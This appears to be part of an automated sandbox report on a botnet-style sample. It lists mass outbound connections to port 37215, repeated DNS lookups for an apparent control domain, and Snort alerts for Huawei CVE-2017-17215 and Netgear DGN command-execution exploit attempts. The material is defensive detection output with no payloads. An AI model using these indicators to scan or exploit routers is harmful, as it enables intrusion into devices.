Feb 12, 2023 21:25:09.488230944 CET	52981	37215	192.168.2.23	41.174.254.244
Feb 12, 2023 21:25:09.488248110 CET	52981	37215	192.168.2.23	41.18.145.203
Feb 12, 2023 21:25:09.488266945 CET	52981	37215	192.168.2.23	41.222.185.78
Feb 12, 2023 21:25:09.488297939 CET	52981	37215	192.168.2.23	197.2.63.192
Feb 12, 2023 21:25:09.488310099 CET	52981	37215	192.168.2.23	197.62.33.30
Feb 12, 2023 21:25:09.488352060 CET	52981	37215	192.168.2.23	41.167.18.9
Feb 12, 2023 21:25:09.488363981 CET	52981	37215	192.168.2.23	157.13.157.233
Feb 12, 2023 21:25:09.488363981 CET	52981	37215	192.168.2.23	41.204.40.59
Feb 12, 2023 21:25:09.488368988 CET	52981	37215	192.168.2.23	157.220.197.224
Feb 12, 2023 21:25:09.488387108 CET	52981	37215	192.168.2.23	157.143.29.71
Feb 12, 2023 21:25:09.488435030 CET	52981	37215	192.168.2.23	41.235.126.32
Feb 12, 2023 21:25:09.488435984 CET	52981	37215	192.168.2.23	157.28.8.196
Feb 12, 2023 21:25:09.488461018 CET	52981	37215	192.168.2.23	113.107.64.36
Feb 12, 2023 21:25:09.488473892 CET	52981	37215	192.168.2.23	197.103.76.141
Feb 12, 2023 21:25:09.488486052 CET	52981	37215	192.168.2.23	157.40.180.72
Feb 12, 2023 21:25:09.488486052 CET	52981	37215	192.168.2.23	197.61.70.58
Feb 12, 2023 21:25:09.488507032 CET	52981	37215	192.168.2.23	197.196.154.143
Feb 12, 2023 21:25:09.488509893 CET	52981	37215	192.168.2.23	157.44.169.227
Feb 12, 2023 21:25:09.488539934 CET	52981	37215	192.168.2.23	41.9.101.172
Feb 12, 2023 21:25:09.488548994 CET	52981	37215	192.168.2.23	49.214.15.32
Feb 12, 2023 21:25:09.488575935 CET	52981	37215	192.168.2.23	197.142.141.210
Feb 12, 2023 21:25:09.488578081 CET	52981	37215	192.168.2.23	151.112.59.95
Feb 12, 2023 21:25:09.488578081 CET	52981	37215	192.168.2.23	197.63.148.221
Feb 12, 2023 21:25:09.488590956 CET	52981	37215	192.168.2.23	35.110.218.118
Feb 12, 2023 21:25:09.488609076 CET	52981	37215	192.168.2.23	50.105.110.129
Feb 12, 2023 21:25:09.488622904 CET	52981	37215	192.168.2.23	41.94.84.26
Feb 12, 2023 21:25:09.488626957 CET	52981	37215	192.168.2.23	41.121.131.147
Feb 12, 2023 21:25:09.488653898 CET	52981	37215	192.168.2.23	9.32.66.159
Feb 12, 2023 21:25:09.488660097 CET	52981	37215	192.168.2.23	157.106.137.13
Feb 12, 2023 21:25:09.488713026 CET	52981	37215	192.168.2.23	41.213.127.166
Feb 12, 2023 21:25:09.488754988 CET	52981	37215	192.168.2.23	197.138.5.124
Feb 12, 2023 21:25:09.488790035 CET	52981	37215	192.168.2.23	41.46.235.158
Feb 12, 2023 21:25:09.488812923 CET	52981	37215	192.168.2.23	157.26.116.34
Feb 12, 2023 21:25:09.488814116 CET	52981	37215	192.168.2.23	41.102.166.223
Feb 12, 2023 21:25:09.488826990 CET	52981	37215	192.168.2.23	41.238.146.218
Feb 12, 2023 21:25:09.488848925 CET	52981	37215	192.168.2.23	157.205.119.122
Feb 12, 2023 21:25:09.488852978 CET	52981	37215	192.168.2.23	157.142.67.157
Feb 12, 2023 21:25:09.488867044 CET	52981	37215	192.168.2.23	41.74.68.95
Feb 12, 2023 21:25:09.488867044 CET	52981	37215	192.168.2.23	157.32.110.41
Feb 12, 2023 21:25:09.488884926 CET	52981	37215	192.168.2.23	123.26.157.180
Feb 12, 2023 21:25:09.488914013 CET	52981	37215	192.168.2.23	157.110.80.62
Feb 12, 2023 21:25:09.488918066 CET	52981	37215	192.168.2.23	66.70.97.211
Feb 12, 2023 21:25:09.488923073 CET	52981	37215	192.168.2.23	41.47.123.33
Feb 12, 2023 21:25:09.488959074 CET	52981	37215	192.168.2.23	41.193.105.141
Feb 12, 2023 21:25:09.488960028 CET	52981	37215	192.168.2.23	109.220.66.182
Feb 12, 2023 21:25:09.488985062 CET	52981	37215	192.168.2.23	103.113.217.23
Feb 12, 2023 21:25:09.489008904 CET	52981	37215	192.168.2.23	45.187.23.251
Feb 12, 2023 21:25:09.489015102 CET	52981	37215	192.168.2.23	197.142.207.119
Feb 12, 2023 21:25:09.489051104 CET	52981	37215	192.168.2.23	109.64.176.121
Feb 12, 2023 21:25:09.489053011 CET	52981	37215	192.168.2.23	41.181.52.5
Feb 12, 2023 21:25:09.489111900 CET	52981	37215	192.168.2.23	157.216.70.150
Feb 12, 2023 21:25:09.489110947 CET	52981	37215	192.168.2.23	197.230.138.25
Feb 12, 2023 21:25:09.489135027 CET	52981	37215	192.168.2.23	117.208.62.201
Feb 12, 2023 21:25:09.489145994 CET	52981	37215	192.168.2.23	121.94.95.140
Feb 12, 2023 21:25:09.489167929 CET	52981	37215	192.168.2.23	197.122.88.49
Feb 12, 2023 21:25:09.489202976 CET	52981	37215	192.168.2.23	76.118.34.157
Feb 12, 2023 21:25:09.489212990 CET	52981	37215	192.168.2.23	197.225.103.127
Feb 12, 2023 21:25:09.489243031 CET	52981	37215	192.168.2.23	41.107.204.50
Feb 12, 2023 21:25:09.489252090 CET	52981	37215	192.168.2.23	125.161.214.172
Feb 12, 2023 21:25:09.489252090 CET	52981	37215	192.168.2.23	197.93.175.176
Feb 12, 2023 21:25:09.489290953 CET	52981	37215	192.168.2.23	197.98.31.202
Feb 12, 2023 21:25:09.489322901 CET	52981	37215	192.168.2.23	157.159.219.233
Feb 12, 2023 21:25:09.489331961 CET	52981	37215	192.168.2.23	197.48.215.107
Feb 12, 2023 21:25:09.489339113 CET	52981	37215	192.168.2.23	41.2.130.96
Feb 12, 2023 21:25:09.489339113 CET	52981	37215	192.168.2.23	41.128.147.177

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 12, 2023 21:24:31.578655005 CET	192.168.2.23	8.8.8.8	0xf584	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:31.598335028 CET	192.168.2.23	8.8.8.8	0xf584	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:31.616142988 CET	192.168.2.23	8.8.8.8	0xf584	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:31.633852005 CET	192.168.2.23	8.8.8.8	0xf584	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:31.653254032 CET	192.168.2.23	8.8.8.8	0xf584	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:34.670562983 CET	192.168.2.23	8.8.8.8	0xe62	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:34.690061092 CET	192.168.2.23	8.8.8.8	0xe62	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:34.711623907 CET	192.168.2.23	8.8.8.8	0xe62	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:34.732844114 CET	192.168.2.23	8.8.8.8	0xe62	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:34.752229929 CET	192.168.2.23	8.8.8.8	0xe62	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:40.769817114 CET	192.168.2.23	8.8.8.8	0xb0b4	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:40.787440062 CET	192.168.2.23	8.8.8.8	0xb0b4	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:40.807001114 CET	192.168.2.23	8.8.8.8	0xb0b4	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:40.824696064 CET	192.168.2.23	8.8.8.8	0xb0b4	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:40.844136953 CET	192.168.2.23	8.8.8.8	0xb0b4	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:45.863739014 CET	192.168.2.23	8.8.8.8	0x4603	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:45.883327007 CET	192.168.2.23	8.8.8.8	0x4603	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:45.900840998 CET	192.168.2.23	8.8.8.8	0x4603	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:45.918359041 CET	192.168.2.23	8.8.8.8	0x4603	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:45.940022945 CET	192.168.2.23	8.8.8.8	0x4603	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:47.959647894 CET	192.168.2.23	8.8.8.8	0xf52b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:47.978969097 CET	192.168.2.23	8.8.8.8	0xf52b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:47.998833895 CET	192.168.2.23	8.8.8.8	0xf52b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:48.016644955 CET	192.168.2.23	8.8.8.8	0xf52b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:48.034463882 CET	192.168.2.23	8.8.8.8	0xf52b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:56.055545092 CET	192.168.2.23	8.8.8.8	0x4c44	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:56.073268890 CET	192.168.2.23	8.8.8.8	0x4c44	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:56.090971947 CET	192.168.2.23	8.8.8.8	0x4c44	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:56.108680964 CET	192.168.2.23	8.8.8.8	0x4c44	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:24:56.127881050 CET	192.168.2.23	8.8.8.8	0x4c44	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:06.147387028 CET	192.168.2.23	8.8.8.8	0x66cf	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:06.165205002 CET	192.168.2.23	8.8.8.8	0x66cf	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:06.184417963 CET	192.168.2.23	8.8.8.8	0x66cf	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:06.204111099 CET	192.168.2.23	8.8.8.8	0x66cf	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:06.224055052 CET	192.168.2.23	8.8.8.8	0x66cf	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:11.242371082 CET	192.168.2.23	8.8.8.8	0xc718	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:11.262393951 CET	192.168.2.23	8.8.8.8	0xc718	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:11.280503035 CET	192.168.2.23	8.8.8.8	0xc718	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:11.300206900 CET	192.168.2.23	8.8.8.8	0xc718	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:11.319758892 CET	192.168.2.23	8.8.8.8	0xc718	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:14.337816954 CET	192.168.2.23	8.8.8.8	0xb781	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:14.357525110 CET	192.168.2.23	8.8.8.8	0xb781	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:14.377082109 CET	192.168.2.23	8.8.8.8	0xb781	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:14.396559954 CET	192.168.2.23	8.8.8.8	0xb781	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:14.416033030 CET	192.168.2.23	8.8.8.8	0xb781	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:21.433782101 CET	192.168.2.23	8.8.8.8	0x9174	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:21.453574896 CET	192.168.2.23	8.8.8.8	0x9174	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:21.473274946 CET	192.168.2.23	8.8.8.8	0x9174	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:21.490899086 CET	192.168.2.23	8.8.8.8	0x9174	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:21.509171963 CET	192.168.2.23	8.8.8.8	0x9174	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:30.528351068 CET	192.168.2.23	8.8.8.8	0xb31e	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:30.547811985 CET	192.168.2.23	8.8.8.8	0xb31e	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:30.566929102 CET	192.168.2.23	8.8.8.8	0xb31e	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:30.584270954 CET	192.168.2.23	8.8.8.8	0xb31e	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:30.603640079 CET	192.168.2.23	8.8.8.8	0xb31e	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:34.621341944 CET	192.168.2.23	8.8.8.8	0xb10c	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:34.640786886 CET	192.168.2.23	8.8.8.8	0xb10c	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:34.658477068 CET	192.168.2.23	8.8.8.8	0xb10c	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:34.676017046 CET	192.168.2.23	8.8.8.8	0xb10c	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:34.693866968 CET	192.168.2.23	8.8.8.8	0xb10c	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:38.713570118 CET	192.168.2.23	8.8.8.8	0xb003	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:38.733297110 CET	192.168.2.23	8.8.8.8	0xb003	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:38.752715111 CET	192.168.2.23	8.8.8.8	0xb003	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:38.772222042 CET	192.168.2.23	8.8.8.8	0xb003	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:38.791449070 CET	192.168.2.23	8.8.8.8	0xb003	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:45.810904026 CET	192.168.2.23	8.8.8.8	0x234	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:45.830260992 CET	192.168.2.23	8.8.8.8	0x234	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:45.847661018 CET	192.168.2.23	8.8.8.8	0x234	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:45.867486954 CET	192.168.2.23	8.8.8.8	0x234	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:45.885377884 CET	192.168.2.23	8.8.8.8	0x234	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:48.904860020 CET	192.168.2.23	8.8.8.8	0x6b95	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:48.922430992 CET	192.168.2.23	8.8.8.8	0x6b95	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:48.939807892 CET	192.168.2.23	8.8.8.8	0x6b95	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:48.959198952 CET	192.168.2.23	8.8.8.8	0x6b95	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:48.979556084 CET	192.168.2.23	8.8.8.8	0x6b95	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:58.996637106 CET	192.168.2.23	8.8.8.8	0x5371	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:59.018038988 CET	192.168.2.23	8.8.8.8	0x5371	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:59.037626028 CET	192.168.2.23	8.8.8.8	0x5371	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:59.059108973 CET	192.168.2.23	8.8.8.8	0x5371	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:25:59.076479912 CET	192.168.2.23	8.8.8.8	0x5371	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:08.095845938 CET	192.168.2.23	8.8.8.8	0x8dfa	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:08.113651037 CET	192.168.2.23	8.8.8.8	0x8dfa	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:08.131182909 CET	192.168.2.23	8.8.8.8	0x8dfa	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:08.150764942 CET	192.168.2.23	8.8.8.8	0x8dfa	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:08.170388937 CET	192.168.2.23	8.8.8.8	0x8dfa	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:15.187957048 CET	192.168.2.23	8.8.8.8	0x108b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:15.205795050 CET	192.168.2.23	8.8.8.8	0x108b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:15.223378897 CET	192.168.2.23	8.8.8.8	0x108b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:15.243323088 CET	192.168.2.23	8.8.8.8	0x108b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:15.263120890 CET	192.168.2.23	8.8.8.8	0x108b	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:16.280867100 CET	192.168.2.23	8.8.8.8	0x93bb	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:16.302651882 CET	192.168.2.23	8.8.8.8	0x93bb	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:16.320233107 CET	192.168.2.23	8.8.8.8	0x93bb	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:16.337688923 CET	192.168.2.23	8.8.8.8	0x93bb	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:16.355343103 CET	192.168.2.23	8.8.8.8	0x93bb	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:21.375113010 CET	192.168.2.23	8.8.8.8	0x4ca2	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:21.392946959 CET	192.168.2.23	8.8.8.8	0x4ca2	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:21.412555933 CET	192.168.2.23	8.8.8.8	0x4ca2	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:21.430262089 CET	192.168.2.23	8.8.8.8	0x4ca2	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:21.447796106 CET	192.168.2.23	8.8.8.8	0x4ca2	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:28.465672970 CET	192.168.2.23	8.8.8.8	0x6168	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:28.486411095 CET	192.168.2.23	8.8.8.8	0x6168	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:28.504498959 CET	192.168.2.23	8.8.8.8	0x6168	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:28.524112940 CET	192.168.2.23	8.8.8.8	0x6168	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false
Feb 12, 2023 21:26:28.543647051 CET	192.168.2.23	8.8.8.8	0x6168	Standard query (0)	proxy.akur.group!	A (IP address)	IN (0x0001)	false

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60688 -> 197.1.109.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38886 -> 197.197.154.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42096 -> 41.62.85.225:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34992 -> 197.193.183.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54676 -> 197.197.49.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40274 -> 77.131.0.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40324 -> 197.193.57.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53274 -> 197.199.51.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46328 -> 197.194.154.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38508 -> 197.194.160.175:37215
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:33286 -> 52.51.46.49:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53024 -> 41.152.40.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52984 -> 41.193.241.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36534 -> 197.194.138.33:37215
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:33524 -> 52.51.46.49:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50072 -> 197.195.75.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37202 -> 213.151.56.95:37215
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:55188 -> 52.57.46.49:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59744 -> 197.195.218.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56402 -> 197.197.171.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44924 -> 197.196.154.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36818 -> 197.194.247.0:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60606 -> 41.152.38.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50740 -> 197.196.231.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50500 -> 197.192.223.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38074 -> 147.46.113.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59754 -> 197.195.228.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57232 -> 197.195.4.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35092 -> 41.153.231.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33506 -> 41.153.191.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58176 -> 197.199.2.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41736 -> 197.197.139.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45832 -> 197.196.152.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32778 -> 197.199.47.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53014 -> 41.153.192.111:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39230 -> 41.153.205.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40268 -> 197.199.26.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38866 -> 197.192.206.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53192 -> 197.192.2.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55886 -> 41.153.55.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43052 -> 197.195.41.215:37215
